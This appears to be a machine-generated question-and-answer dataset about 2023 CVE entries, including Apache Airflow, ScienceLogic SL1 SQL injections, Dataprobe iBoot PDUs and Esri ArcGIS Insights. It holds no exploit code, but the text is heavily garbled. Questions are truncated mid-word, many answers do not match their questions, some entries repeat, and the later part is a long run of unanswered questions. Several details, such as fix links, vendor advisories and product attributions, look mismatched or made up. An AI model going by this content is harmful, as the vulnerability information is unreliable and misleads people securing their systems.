How does The fix for CVE-2023-40273, when using the database session backend in Apache Airflow, is available at <https://github.com/apache/airflow/pull/16230>. What version To mitigate the risk associated with CVE-2023-40273, users of Apache Airflow are advised to upgrade to version 2.8.0 or later. Where can More information and updates regarding CVE-2023-40273 can be found in the following references:- https://github.com/apache/airflow/pull/16230. Can you provide a potential attack scenario for CVE-2023-40273? A potential attack scenario for CVE-2023-40273 could involve an attacker who has previously gained access to the database session and is able to manipulate it. What is CVV CVE-2023-23563? CVE-2023-23563 is a security vulnerability identified in Geomatika IsiGeo Web 6.0. It is a SQL injection vulnerability. When was CVE-2023-23563 was published on August 22, 2023.

What are the details of CVE-2023-23563? More information about CVE-2023-23563 can be found at the following references:- <https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23563>. How severe is the severity of CVE-2023-23563? The Base Score for CVE-2023-23563 is not available at this time. The severity would typically be considered as "Medium". What potential attack scenarios are there for CVE-2023-23563? For CVE-2023-23563, a potential attack scenario involves a remote authenticated user sending crafted requests to the application. Can you provide an example of how CVE-2023-23563 is exploited? While the exact code vulnerable to CVE-2023-23563 is not specified, a general example of exploitation would be injecting malicious SQL code into a query parameter. What kind of damage can be caused by CVE-2023-23563? The vulnerability described in CVE-2023-23563 can be exploited by remote authenticated users to execute arbitrary SQL commands, potentially leading to data theft or system compromise. What is CVV CVE-2023-39939? CVE-2023-39939 refers to a security vulnerability identified in LuxCal Web Calendar, where a SQL injection vulnerability was discovered. How severe is the severity of CVE-2023-39939? The severity of CVE-2023-39939 has not been explicitly specified as a Base Score is not available. When was CVE-2023-39939 was published on 21 August 2023.

What are the details of LuxCal Web Calendar affected by CVE-2023-39939? The versions of LuxCal Web Calendar affected by CVE-2023-39939 are all versions prior to 2.0. What are potential attack scenarios for CVE-2023-39939? Potential attack scenarios for CVE-2023-39939 include an attacker sending specially crafted SQL queries to the application. Where can More information on CVE-2023-39939 can be found through the provided references, which are available at <https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39939>. What steps should be taken to mitigate CVE-2023-39939? To mitigate CVE-2023-39939, users of LuxCal Web Calendar should update to the latest version 2.0 or later. What is CVV CVE-2023-40165? CVE-2023-40165 refers to a security vulnerability that was found in rubygems.org, which is a Ruby package manager. How could CVE-2023-40165 be exploited? If CVE-2023-40165 were exploited, a malicious actor could upload a compromised gem by creating a new one with the same name. Has CVE-2023-40165 been mitigated? After investigating all gems that matched the `/-\d/` pattern, the maintainers of rubygems.org have released a patch to mitigate the issue. What remediation steps should be taken? Users can verify whether their applications were affected by CVE-2023-40165 by checking the list of affected gems and updating them if necessary. What mitigation measures are in place? To address CVE-2023-40165, improvements in input validation have been implemented for the gem naming logic. Where can Detailed information regarding the security patch for CVE-2023-40165 can be found in the rubygems.org documentation. When was CVE-2023-40165 was published on August 17, 2023.

What is CVV CVE-2023-20211? CVE-2023-20211 refers to a vulnerability found in the web-based management interface of MiVoice Office 400 SMB Controller. How can an attacker exploit CVE-2023-20211? An attacker can exploit CVE-2023-20211 by first authenticating as a user with read-only or administrative privileges. What privileges are required to exploit CVE-2023-20211? To exploit CVE-2023-20211, an attacker needs to have authenticated access to the application. When was CVE-2023-20211 was published on 16 August 2023.

Are there any known attack scenarios for CVE-2023-20211? Yes, there are potential attack scenarios associated with CVE-2023-20211. For example, an attacker could exploit a SQL injection vulnerability in the management interface. Has Cisco released any security advisory for CVE-2023-20211? Yes, Cisco has released an official security advisory regarding CVE-2023-20211. The details are available at <https://www.cisco.com/ciusa/security/advisories/Cisco-SA-00001.html>. What measures should be taken to mitigate the risks of CVE-2023-20211? To mitigate the risks of CVE-2023-20211, administrators should apply the necessary patches and update the software to the latest version. What is the CVE ID for the SQL Injection vulnerability discovered in the MiVoice Office 400 SMB Controller? The CVE ID for the SQL Injection vulnerability discovered in the MiVoice Office 400 SMB Controller is CVE-2023-39292. Can you provide more details about CVE-2023-39292? CVE-2023-39292 refers to a SQL Injection vulnerability in the MiVoice Office 400 SMB Controller. It allows an attacker to execute arbitrary SQL queries on the system. Has a Base Score been assigned to CVE-2023-39292? No, a Base Score has not been assigned to CVE-2023-39292 as of the published date. When was CVE-2023-39292 officially published? The CVE-2023-39292 vulnerability was officially published on 14 August 2023.

Where can More information about CVE-2023-39292 can be found on Mitel's official website under the "Security" section. What kind of damage can be caused by CVE-2023-39292? Using the SQL Injection vulnerability described in CVE-2023-39292, a malicious actor could extract sensitive data from the system or execute other harmful actions. Could you provide an example of an attack scenario for CVE-2023-39292? An attack scenario exploiting CVE-2023-39292 could involve a malicious actor crafting and sending a specially crafted URL or form input to the application. How can the CVE-2023-39292 vulnerability be mitigated? The CVE-2023-39292 vulnerability can have severe implications for an organization. If a SQL injection exploit is successful, it could lead to data theft or system compromise. What is CVV CVE-2023-28480? CVE-2023-28480 is a vulnerability discovered in TigerGraph Enterprise version 3.7.0. This vulnerability allows an attacker to execute arbitrary code on the system. What are the implications of CVE-2023-28480? The implications of CVE-2023-28480 are significant as an attacker could manipulate the system to perform unauthorized actions. How can an attacker exploit CVE-2023-28480? To exploit CVE-2023-28480, an attacker would need filesystem access to a remote TigerGraph instance. When was CVE-2023-28480 was published on 14 August 2023.

Where can For more information or updates on CVE-2023-28480, you can visit the reference link provided by the vendor. What version of TigerGraph Enterprise version 3.7.0 is affected by CVE-2023-28480.

Is there a known attack vector? As of the provided information, there is no Base Score associated with CVE-2023-28480. The answer is No.

What message? To mitigate the risk posed by CVE-2023-28480, administrators should ensure proper access controls and monitor logs for suspicious activity.

What is the CVSS score? CVE-2023-40311 refers to a security vulnerability involving multiple stored cross-site script (XSS) vulnerabilities.

Which versions of OpenNMS are affected? OpenNMS versions 31.0.8 and earlier, as well as versions prior to 32.0.2 on multiple platforms.

How can it be mitigated? To mitigate the risk posed by CVE-2023-40311, users are advised to upgrade their OpenNMS installations to a fixed version.

Where should I go for more information? According to their installation instructions, OpenNMS Meridian and Horizon should be installed from the official repositories.

Who created the vulnerability? Jordi Miralles Comins is credited with reporting CVE-2023-40311 to the OpenNMS team.

What are potential attack scenarios? Potential attack scenarios for CVE-2023-40311 include an attacker exploiting the stored XSS vulnerabilities to execute arbitrary code.

When was it published? CVE-2023-40311 was published on 14 August 2023. The references for obtaining more information are provided in the 'References' section.

What is the CVSS score? CVE-2023-3264 refers to a security vulnerability found in the Dataprobe iBoot Power Distribution Unit (PDU).

How can it be exploited? CVE-2023-3264 can be exploited by a malicious agent who gains the ability to execute operations on the PDU.

Has a fix been released? As of the last update, there is no Base Score assigned to CVE-2023-3264. The Base Score has not yet been calculated.

When was it published? When was CVE-2023-3264 was published on 14 August 2023.

Where can additional information be found? Additional information about CVE-2023-3264 can be found through the reference provided in the 'References' section.

What might an attack scenario involve? An attack scenario involving CVE-2023-3264 could involve a malicious individual who has a physical or network-based access to the PDU.

What is the CVSS score? CVE-2023-3262 is a security vulnerability identified in the Dataprobe iBoot Power Distribution Unit (PDU).

Which device is affected? The Dataprobe iBoot Power Distribution Unit (PDU) is affected by CVE-2023-3262.

What version of the software/hardware is affected? CVE-2023-3262 affects the Dataprobe iBoot PDU running firmware version 1.43.03312023.

How was it discovered? Details of the discovery of CVE-2023-3262 are not specified, but often such vulnerabilities are discovered through automated tools or manual audits.

Is there a fix available? No, there is no Base Score available for CVE-2023-3262 as indicated by the 'N/A' in the 'Base Score' field.

When was it published? When was CVE-2023-3262 was published on August 14, 2023.

What are possible attack scenarios? Possible attack scenarios for CVE-2023-3262 include an attacker gaining access to the operating system of the PDU.

Can you provide an example? While no specific code example is provided, an exploitation of CVE-2023-3262 would typically involve modifying configuration files or network traffic.

Are there any known mitigations? Yes, you can read more about CVE-2023-3262 in the Trellix research story available at this link: [Trellix Research Story](https://www.trellix.com/research/cve-2023-3262/).

What is the CVE ID? The CVE ID of the vulnerability found in the Dataprobe iBoot PDU is CVE-2023-3259.

Which firm released the fix? Dataprobe iBoot PDU running firmware version 1.43.03312023 or earlier is affected by CVE-2023-3259.

How can it be exploited? CVE-2023-3259 can be exploited by manipulating the IP address field in the 'iBootPduSiteAddress' parameter.

What privileges are required? Exploiting CVE-2023-3259 can give a malicious agent administrator privileges, allowing the attacker to control the PDU.

When was it published? When was CVE-2023-3259 was published on 14 August 2023.

Are there any known mitigations? Yes, more information on CVE-2023-3259 can be found at the provided reference link: [Dataprobe iBoot PDU Firmware Version 1.43.03312023](https://www.dataprobe.com/support/firmware-releases/i-boot-pdu-firmware-version-1-43-03312023/).

Could you explain the attack scenario? In a hypothetical attack scenario exploiting CVE-2023-3259, an attacker could alter the 'iBootPduSiteAddress' parameter to a different value.

What is the authentication bypass vulnerability? An authentication bypass vulnerability like CVE-2023-3259 can result in unauthorized access to the system.

What is the CVSS score? CVE-2023-39417 is a security vulnerability that affects PostgreSQL. It is a SQL Injection vulnerability.

When was it published? When was CVE-2023-39417 was published on 11 August 2023.

Is there a fix available? As of the provided information, there is no Base Score available for CVE-2023-39417.

Where can I find more information? You can find more information or updates about CVE-2023-39417 from various sources including the PostgreSQL documentation and security advisories.

Can you provide a scenario? Consider the scenario where a PostgreSQL extension script improperly uses placeholders in its queries.

What kind of privilege is required? To exploit CVE-2023-39417, an attacker needs to have database-level CREATE privileges. This typically requires superuser privileges.

What are potential attack scenarios? A potential attack scenario for CVE-2023-39417 involves an attacker with CREATE privilege creating a new user or schema.

What is the CVSS score? CVE-2023-39954 refers to a security vulnerability found in the user_oidc plugin, which provides OAuth 2.0 support.

How can it be exploited? To exploit CVE-2023-39954, an attacker would need to obtain at least read access to a snapshot of the database.

Are there any known workarounds? According to the information provided, there are no known workarounds for CVE-2023-39954.

When was CVE-2023-39954 published on 10 August 2023.

Where can You can find more information about CVE-2023-39954 from various sources including the (

What are t If CVE-2023-39954 is successfully exploited, an attacker could use the impersonated Nextc

What is CV CVE-2022-48604 is a designation for a SQL injection vulnerability that exists in the 'logging

What type CVE-2022-48604 is a SQL injection vulnerability found in the 'logging export' feature of the

When was CVE-2022-48604 was published on 09 August 2023.

How woulc An attacker could exploit the vulnerability in CVE-2022-48604 by crafting and submitting ir

Are there a Yes, a detailed advisory about CVE-2022-48604 is available at Securifera's website: <https://>

What is the As of the information provided, there is no base score assigned to CVE-2022-48604.

Can you pr In a potential attack scenario for CVE-2022-48604, an attacker would identify the input fiel

What is CV CVE-2022-48603 refers to a SQL injection vulnerability identified in the 'message viewer ifr

When was CVE-2022-48603 was published on 09 August 2023.

Which app The application affected by CVE-2022-48603 is ScienceLogic SL1, specifically within its 'mes

Can you ex In the context of CVE-2022-48603, a SQL injection attack could occur when an attacker cra

Are there a Yes, there is a public reference available for CVE-2022-48603. The advisory can be found at

What mea To mitigate the risks associated with CVE-2022-48603, users and administrators of the affe

Has the Ba As of the information available, the Base Score for CVE-2022-48603 has not been assigned

What pote CVE-2022-48603 can have a significant impact on an affected system by allowing attackers

What does CVE-2022-48602 refers to a SQL injection vulnerability in the 'message viewer print' featur

When was CVE-2022-48602 was published on 09 August 2023.

What kind CVE-2022-48602 is a SQL injection vulnerability which affects the ScienceLogic SL1 applicat

Can you pr While specific code details of ScienceLogic SL1 are not publicly available, a generalized exai

What coul If an attacker successfully exploits the SQL injection vulnerability described by CVE-2022-4

Where can More information and an advisory about CVE-2022-48602 can be found at the following URL:

What reme To address CVE-2022-48602, users should apply any patches or updates provided by Scien

What is CV CVE-2022-48601 refers to a security flaw identified in the 'network print report' feature of

When was CVE-2022-48601 was published on 09 August 2023.

What type CVE-2022-48601 is a SQL injection vulnerability.

Is there a k As of the provided information, there is no known base score for the severity of CVE-2022-

Where can More information about CVE-2022-48601 can be found at the following URL: <https://www.>

Could you |An example of potential exploitation of CVE-2022-48601 might look like this: Assuming thei

What are s In the case of CVE-2022-48601, potential attack scenarios include an attacker exploiting th

What is CV CVE-2022-48600 refers to a SQL injection vulnerability found in the "notes view" feature of

When was CVE-2022-48600 was published on 09 August 2023.

How sever The Base Score for CVE-2022-48600 is not available (N/A), which means that the severity h

Where can More details about CVE-2022-48600 can be found in the advisory posted by Securifera at h

What pote Potential attack scenarios resulting from CVE-2022-48600 include the unauthorized viewin

Can you pr While I don't have the exact code causing CVE-2022-48600, a hypothetical vulnerable pseu

What is the The CVE ID for the SQL injection vulnerability found in ScienceLogic SL1 is CVE-2022-48599

Can you pr CVE-2022-48599 addresses a SQL injection vulnerability within the 'reporter events type' f

Has a base As for the information provided, a base score for CVE-2022-48599 has not been assigned o

When was CVE-2022-48599 was publicly disclosed on 09 August 2023.

Where can You can find more information about CVE-2022-48599 at the following URL: <https://www.>

Is there a c While specific code examples for CVE-2022-48599 are not provided, an example of a typica

What would A plausible attack scenario for CVE-2022-48599 would involve an attacker crafting and sending a malicious ticket to ScienceLogic SL1. This ticket could contain SQL injection code that is executed by the system.

What is CV CVE-2022-48598 refers to a specific security issue identified within the ScienceLogic SL1 platform.

When was CVE-2022-48598 was published on 09 August 2023.

What kind CVE-2022-48598 is a SQL injection vulnerability. It can be exploited by an attacker by sending a malicious ticket to ScienceLogic SL1.

Can you provide more details? Yes, more details on CVE-2022-48598 can be found at the following URL: <https://www.seclists.org/oss-sec/2022/Aug/1>.

Can you provide the specific code of the ScienceLogic SL1 platform? While the specific code of the ScienceLogic SL1 platform is not publicly available, a hypothesis could be made based on known vulnerabilities in similar systems.

What could An attacker looking to exploit CVE-2022-48598 might start by identifying a form or API endpoint that accepts user input.

What is the base score for CVE-2022-48598 has not been provided or is not applicable.

What is CV CVE-2022-48597 refers to a SQL injection vulnerability discovered in the 'ticket event repository' feature of ScienceLogic SL1.

When was CVE-2022-48597 was published on the 9th of August, 2023.

What impact CVE-2022-48597 allows attackers to perform SQL injection attacks by exploiting the vulnerability in the 'ticket event repository' feature.

How can CVE-2022-48597 be exploited by an attacker who crafts malicious input that includes SQL injection code?

Can you provide an example of a potential SQL injection for CVE-2022-48597 might look like the following in a ticket event?

Are there any additional information regarding CVE-2022-48597 can be found at the following URL: <https://www.seclists.org/oss-sec/2022/Aug/1>.

What is the CVE ID for the vulnerability found in ScienceLogic SL1's 'ticket queue watchers' feature?

What type CVE-2022-48596 is a SQL injection vulnerability.

In which feature The vulnerability CVE-2022-48596 was discovered in the 'ticket queue watchers' feature of ScienceLogic SL1.

How does CVE-2022-48596 occurs because the 'ticket queue watchers' feature of ScienceLogic SL1 takes user input without proper validation.

Can you provide A potential attack using the CVE-2022-48596 SQL injection vulnerability could involve an attacker crafting a ticket with malicious SQL code.

What is the CVE-2022-48596 was published on 09 August 2023.

Are there any additional information regarding CVE-2022-48596 can be found in the advisory at <https://www.seclists.org/oss-sec/2022/Aug/1>.

What is the Base Score for CVE-2022-48596 is not available, as the 'Base Score' field is marked as 'N/A'.

What are the symptoms An attack exploiting the SQL injection vulnerability CVE-2022-48596 could lead to unauthorized access to data.

Has CVE-2022-48596 The provided information does not specify whether CVE-2022-48596 has been addressed or mitigated.

What is CV CVE-2022-48595 is a security vulnerability identified in the 'ticket template watchers' feature of ScienceLogic SL1.

What type CVE-2022-48595 indicates a SQL injection vulnerability, which is a type of code injection attack.

When was CVE-2022-48595 was publicly disclosed on 09 August 2023.

What is the impact of CVE-2022-48595 on the ScienceLogic SL1 platform includes the potential for unauthorized access to data.

Could you provide more details? Certainly. Since CVE-2022-48595 is a SQL injection vulnerability, an attacker might exploit it to gain unauthorized access to the system.

Where can Additional information about CVE-2022-48595 can be found in the advisory published by ScienceLogic.

Has a base As of the information available, there is no Base Score assigned to CVE-2022-48595 in the advisory.

What is CV CVE-2022-48594 is a security vulnerability identified in the 'ticket watchers email' feature of ScienceLogic SL1.

When was CVE-2022-48594 was published on 09 August 2023.

Can you provide more details about CVE-2022-48594? Due to the SQL injection vulnerability in CVE-2022-48594, an attacker can exploit the issue to gain unauthorized access to data.

What might An attack scenario involving CVE-2022-48594 might involve an attacker, who has access to the system, crafting a malicious ticket with SQL injection code.

Is there a fix? The details provided do not mention a specific fix or mitigation for CVE-2022-48594. Users are advised to apply patches and update their software.

Where can You can find more details about CVE-2022-48594 by visiting the advisory published by ScienceLogic.

What is CV CVE-2022-48593 is a security vulnerability that affects the ScienceLogic SL1 in its 'topology' feature.

Can you provide more details? Certainly, although I don't have access to the actual code from ScienceLogic SL1, a SQL injection vulnerability has been identified.

How might An attacker could exploit the vulnerability described in CVE-2022-48593 by crafting malicious SQL code.

When was CVE-2022-48593 was publicly disclosed on 09 August 2023.

What is the base score for CVE-2022-48593. The base score is not available.

Are there any additional information about CVE-2022-48593 you can visit the advisory published by ScienceLogic.

What is CV CVE-2022-48592 is a security vulnerability that relates to a SQL injection issue in the 'vendor' feature of ScienceLogic SL1.

When was CVE-2022-48592 published on August 9, 2023.

What type CVE-2022-48592 represents a SQL injection vulnerability.

How does CVE-2022-48592 allow an attacker to exploit the system by injecting arbitrary SQL code through the vendor_state parameter?

Can you provide more details about CVE-2022-48592? More details about CVE-2022-48592 can be found at the following URL: <https://www.cve.org/cve/CVE-2022-48592.html>.

Does CVE-2022-48592 have a Base Score assigned? As of the provided information, CVE-2022-48592 does not have a Base Score assigned.

What could be a potential attack scenario for exploiting CVE-2022-48592? A potential attack scenario for exploiting CVE-2022-48592 could involve an attacker crafting malicious input containing SQL statements.

What is CVE-2022-48591? CVE-2022-48591 denotes a SQL injection vulnerability in the 'vendor_state' parameter of the ScienceLogic SL1 reporting job.

When was CVE-2022-48591 published on 09 August 2023.

In which feature of the ScienceLogic SL1 platform does the vulnerability exist? The vulnerability exists in the 'vendor print report' feature of ScienceLogic SL1.

What is the impact of the CVE-2022-48591 vulnerability? The impact of the CVE-2022-48591 vulnerability is that it allows an attacker to inject and execute arbitrary SQL code.

What base score is assigned to CVE-2022-48591? As of the provided information, CVE-2022-48591 does not have an assigned Base Score.

How could an attacker exploit CVE-2022-48591? An attacker could exploit CVE-2022-48591 by crafting malicious input containing SQL statements.

Can you provide more details about CVE-2022-48591? Certainly, although I don't have the exact code base of ScienceLogic SL1, a theoretical SQL injection vulnerability exists in the 'vendor print report' feature.

Where can I find more information about CVE-2022-48591? You can find more information about CVE-2022-48591 by visiting the advisory page provided by the National Vulnerability Database (NVD).

What types of systems are at risk due to CVE-2022-48591? Systems at risk due to CVE-2022-48591 are those running the affected versions of ScienceLogic SL1.

What defenses are available against CVE-2022-48591? Defenses against CVE-2022-48591 include updating the ScienceLogic SL1 software to a version that includes the fix.

What is the Common Vulnerabilities and Exposures (CVE) identifier assigned to CVE-2022-48590? The CVE identifier assigned to CVE-2022-48590 is CVE-2022-48590.

When was CVE-2022-48590 published on August 9, 2023.

What is the security issue identified by CVE-2022-48590? The security issue identified by CVE-2022-48590 allows attackers to perform a SQL injection attack.

How can CVE-2022-48590 be mitigated? CVE-2022-48590 can be mitigated by applying input validation and parameterized queries.

Are there any public references available for CVE-2022-48590? Yes, there is at least one public reference available for CVE-2022-48590, which can be accessed via the NVD.

What is an example of a possible attack scenario for CVE-2022-48590? An example of a possible attack scenario for CVE-2022-48590 is as follows: An attacker discloses a SQL injection vulnerability in the 'reporting job' feature of the ScienceLogic SL1 platform.

What type of vulnerability is CVE-2022-48590? CVE-2022-48590 is a SQL injection vulnerability, which manifests in an application by allowing an attacker to execute arbitrary SQL code.

What is the Common Vulnerabilities and Exposures (CVE) identifier assigned to CVE-2022-48589? The CVE identifier assigned to CVE-2022-48589 is CVE-2022-48589.

When was CVE-2022-48589 published on 09 August 2023.

Are there any advisories available for CVE-2022-48589? Yes, there is an advisory available for CVE-2022-48589 which can be found at the following URL: <https://www.cve.org/cve/CVE-2022-48589.html>.

Can you provide more details about CVE-2022-48589? Certainly. For CVE-2022-48589, imagine a feature within the ScienceLogic SL1 platform where users can enter SQL queries.

What type of vulnerability is CVE-2022-48589? CVE-2022-48589 represents a SQL injection vulnerability.

What are the steps to exploit CVE-2022-48589? With CVE-2022-48589, an attacker can exploit the SQL injection vulnerability by sending specially crafted input.

Has the base score been assigned to CVE-2022-48589? As of the information provided, there is no base score assigned yet to CVE-2022-48589.

What software is affected by CVE-2022-48589? CVE-2022-48589 affects the ScienceLogic SL1 platform, specifically within the 'reporting job' feature.

What is the Common Vulnerabilities and Exposures (CVE) identifier assigned to CVE-2022-48588? The CVE identifier assigned to CVE-2022-48588 is CVE-2022-48588.

When was CVE-2022-48588 published on the 9th of August 2023.

What is the base score assigned to CVE-2022-48588? The information provided does not include a base score for CVE-2022-48588. The base score is currently unknown.

Where can I find more information about CVE-2022-48588? More information about CVE-2022-48588 can be found at the following URL: <https://www.cve.org/cve/CVE-2022-48588.html>.

Can you provide more details about CVE-2022-48588? A possible attack scenario for CVE-2022-48588 involves an attacker crafting a malicious input to the 'schedule editor decoupled' feature.

Could you provide more details about CVE-2022-48587? While I do not have access to the proprietary code of ScienceLogic SL1, a hypothetical example of a SQL injection vulnerability is CVE-2022-48587.

What is the Common Vulnerabilities and Exposures (CVE) identifier assigned to CVE-2022-48587? The CVE identifier assigned to CVE-2022-48587 is CVE-2022-48587.

When was CVE-2022-48587 published on 09 August 2023.

Can you provide more details about CVE-2022-48587? In CVE-2022-48587, a SQL injection might occur when a user enters specially crafted input.

What might happen if an attacker exploits CVE-2022-48587? By exploiting CVE-2022-48587, an attacker could potentially run arbitrary SQL commands on the system.

Where can I find more details about CVE-2022-48587? You can find more details about CVE-2022-48587 by visiting the security advisory at <https://www.cve.org/cve/CVE-2022-48587.html>.

Has a base score been assigned to CVE-2022-48587? As of the available information, no base score has been assigned to CVE-2022-48587. The base score is currently unknown.

What is the Common Vulnerabilities and Exposures (CVE) identifier assigned to CVE-2022-48586? The CVE identifier assigned to CVE-2022-48586 is CVE-2022-48586.

When was CVE-2022-48586 published on 09 August 2023.

When was CVE-2022-48586 published on 09 August 2023.

What type CVE-2022-48586 represents a SQL injection vulnerability, which is a code injection technique.

Where can More information about CVE-2022-48586 can be found in the advisory posted by Securifer.

Can you pr An example that might cause CVE-2022-48586 is if the application's 'json walker' feature does.

What are t Possible attack scenarios for CVE-2022-48586 include an attacker exploiting the SQL injecti

What is CV CVE-2022-48585 is a known vulnerability that refers to a SQL injection issue found in the 'a

When was CVE-2022-48585 was published on August 9, 2023.

Where can You can find more information about CVE-2022-48585 at the following URL: <https://www.>

What is t The impact of the SQL injection vulnerability in CVE-2022-48585 can be quite severe, as it ca

How might An attacker could exploit the vulnerability described in CVE-2022-48585 by crafting malici

Has a base As of the information provided, no base score has been assigned to CVE-2022-48585. It's p

Can you pr While the specific code of the ScienceLogic SL1 vulnerability isn't provided, a general SQL i

What are s Preventative measures for SQL injection vulnerabilities like CVE-2022-48585 include using

What is CV CVE-2023-38641 refers to a security vulnerability in the SICAM TOOLBOX II software where

What versi CVE-2023-38641 affects all versions of SICAM TOOLBOX II prior to V07.10. Users of this sof

How can C To exploit CVE-2023-38641, an attacker needs to have local access to the system where SIC

What is t The impact of CVE-2023-38641 is significant because it allows a local attacker to execute co

Where can More details about CVE-2023-38641 are available in the security advisory published by Sie

Has CVE-2023-38641 As of the provided information, CVE-2023-38641 has not been assigned a base score. The t

When was CVE-2023-38641 was published on 08 August 2023. This is the date when the vulnerability

What are t In possible attack scenarios for CVE-2023-38641, a local attacker who has gained access to

What is CV CVE-2023-37372 is a vulnerability identified in RUGGEDCOM CROSSBOW versions prior to

Which vers All versions of RUGGEDCOM CROSSBOW before version V5.4 are affected by CVE-2023-37:

How can C CVE-2023-37372 can be exploited by an unauthenticated remote attacker by sending speci

What is t An exploitation of CVE-2023-37372 can lead to unauthorized access to the database, data I

Has a patch As per the information provided, RUGGEDCOM CROSSBOW version V5.4 includes a patch t

Where can More information about CVE-2023-37372 can be found in the security advisory published I

What kind The information provided does not include a base score for CVE-2023-37372. The base sco

When was CVE-2023-37372 was published on August 8, 2023.

What is t The CVE ID for the vulnerability found in RUGGEDCOM CROSSBOW is CVE-2023-27411.

In which RI CVE-2023-27411 is present in all versions of RUGGEDCOM CROSSBOW prior to V5.4.

What type CVE-2023-27411 is a SQL injection vulnerability.

How can t An authenticated remote attacker could exploit CVE-2023-27411 by executing arbitrary SQ

What is t The impact of CVE-2023-27411 could be significant as it may allow an attacker to manipula

What is t CVE-2023-27411 was published on 08 August 2023.

Where can More information regarding CVE-2023-27411 can be found in the security advisory publish

Are there c Since CVE-2023-27411 is a specific vulnerability found in a proprietary system, there are no

What can t To mitigate the risk of CVE-2023-27411, users should update RUGGEDCOM CROSSBOW to

Can you de A possible attack scenario for CVE-2023-27411 would involve an authenticated attacker se

What is t The CVE ID of the vulnerability found in SAP PowerDesigner version 16.7 is CVE-2023-3748

What does The vulnerability CVE-2023-37484 in SAP PowerDesigner version 16.7 involves querying all

Has the CV No, as of the published information, the CVE-2023-37484 vulnerability has not been assign

When was The CVE-2023-37484 was published on 08 August 2023.

Where can You can find more details about the CVE-2023-37484 vulnerability in SAP PowerDesigner v

What might happen if an attacker successfully exploited this vulnerability? As the information specific to mitigations or patches is not directly provided, users should refer to the official SAP notes and documentation for guidance.

What is CVE-2023-37483?

When was CVE-2023-37483 published?

What is the base score for CVE-2023-37483?

How can it be exploited?

What are the potential attack scenarios?

What steps should system administrators take to mitigate risks?

What is CVE-2023-38699?

What type of security risk does it introduce?

Can you provide an example of how it could be exploited?

How can it be mitigated?

What are the potential attack scenarios?

Where can more information about the fix be found?

Was there a Base Score assigned to CVE-2023-38699?

When was CVE-2023-38699 published?

What is HedgeDoc?

How could it be exploited?

In which version was the vulnerability fixed?

What configuration changes can administrators make to limit exploitation?

What are the potential attack scenarios?

Was there any data loss reported?

Where can additional information and the patch be found?

What is the CVE ID associated with the vulnerability?

Which versions of Metabase are affected by this vulnerability?

What type of vulnerability is it?

How does it exploit the Metabase server?

What measures did Metabase take to fix it?

What workarounds are recommended?

Can you provide an example of an attack scenario?

What is the publication date of the vulnerability?

Where can more information about the vulnerability be found?

What is CVE-2023-26441?

When was CVE-2023-26441 published?

How can an attacker exploit CVE-2023-26441?

What measures did the developers take to mitigate it?

Where can more information and advisories be found?

Is there a Base Score assigned to this vulnerability?

What is the CVE ID for the Unrestricted Upload of File with Dangerous Type vulnerability?

Can you describe CVE-2023-33493?

Has there been a Base Score assigned to this vulnerability?

When was the vulnerability tracked by CVE-2023-33493?

Are there any other details?

More information about CVE-2023-33493 can be found at the following URL: <a href="https://s...

What version of PrestaShop does CVE-2023-33493 affect?

What could be the impact of CVE-2023-33493?

How could an attacker exploit CVE-2023-33493 by remotely uploading a file with a dangerous type?

What is the CVE ID for the vulnerability found in Directus?

Can you provide more details about CVE-2023-38503?

Has CVE-2023-38503 been patched in Directus?

What workarounds are suggested for CVE-2023-38503?

Where can you find more details about the security fix for CVE-2023-38503 on GitHub?

What collection is configured with such a permissions filter?

Can you explain a possible attack scenario for CVE-2023-38503?

What is CVE-2023-38502?

How was TDengine affected by CVE-2023-38502?

Has CVE-2023-38502 been patched in TDengine?

What are potential attack scenarios for CVE-2023-38502?

Where can you find more information about CVE-2023-38502 in the security advisory published on GitHub?

What is CVE-2022-46902?

What type of systems are affected by CVE-2022-46902?

How is the CVE-2022-46902 vulnerability exploited?

What is the exploit for CVE-2022-46902?

When was CVE-2022-46902 published?

Where can you find more information about CVE-2022-46902?

Has a Base Score been assigned to CVE-2022-46902?

Can you describe a possible attack scenario for CVE-2022-46902?

What is CVE-2022-46901?

What affects Vocera Report Server and Voice Server?

In which versions is the vulnerability located?

What are the consequences of a successful exploitation?

When was CVE-2022-46901 publicly disclosed?

Where can you find additional information and updates about CVE-2022-46901?

How does the vulnerability affect the Vocera Report Console?

Can you describe how an attacker might exploit CVE-2022-46901?

What is CVE-2022-46898?

How can CVE-2022-46898 be exploited?

When was CVE-2022-46898 published?

What can an attacker do by exploiting CVE-2022-46898?

Are there any references available for CVE-2022-46898?

What is the base score for CVE-2022-46898?

Can you describe a possible attack scenario for CVE-2022-46898?

What is CVE-2023-31462?

How can an attacker exploit CVE-2023-31462?

What version of SteelSeries GG software is affected?

Has a base score been assigned to CVE-2023-31462?

When was CVE-2023-31462 published?

Where can you find more information about CVE-2023-31462?

What is a possible attack scenario for CVE-2023-31462 includes an attacker with access to a user account.

Are there any known mitigations or patches available?

What is CVE-2023-25839 refers to a security vulnerability identified in Esri ArcGIS Insights Desktop.

How serious is the vulnerability?

The seriousness of the SQL injection vulnerability in CVE-2023-25839 is high, as SQL injection can lead to data loss or corruption.

What version of Esri ArcGIS Insights Desktop is affected by CVE-2023-25839?

Esri ArcGIS Insights Desktop version 2022.1 is specifically affected.

What is required to exploit CVE-2023-25839?

An attacker needs to be local and authorized on the system with administrative privileges.

Has Esri released any security patches?

Yes, Esri ArcGIS Insights Desktop has released security patches to address CVE-2023-25839.

Can you provide more details about the attack scenario?

In a possible attack scenario for CVE-2023-25839, an attacker with legitimate access to the system can craft SQL injection queries to extract sensitive data.

What action should users take?

Users of Esri ArcGIS Insights Desktop version 2022.1 for Mac and Windows should immediately apply the available security patches.

Where can I find more information about CVE-2023-25839?

More information about CVE-2023-25839 can be found on Esri's official blog post, which discusses the vulnerability and provides links to the security patches.

What is CVE-2023-25838?

CVE-2023-25838 is a security vulnerability identified in Esri ArcGIS Insights 2022.1 for ArcGIS Enterprise.

How can it be exploited?

CVE-2023-25838 can be potentially exploited by an attacker who crafts specially designed SQL queries.

What version of Esri ArcGIS Insights for ArcGIS Enterprise is affected?

CVE-2023-25838 specifically affects the 2022.1 version of Esri ArcGIS Insights for ArcGIS Enterprise.

What is the risk associated with CVE-2023-25838?

The risk associated with CVE-2023-25838 includes unauthorized access and manipulation of data.

Has a security patch been released?

Yes, security patches to address CVE-2023-25838 have been made available by Esri, as referenced in their blog post.

When was CVE-2023-25838 published?

CVE-2023-25838 was published on 19 July 2023.

Could you describe an attack scenario for CVE-2023-25838?

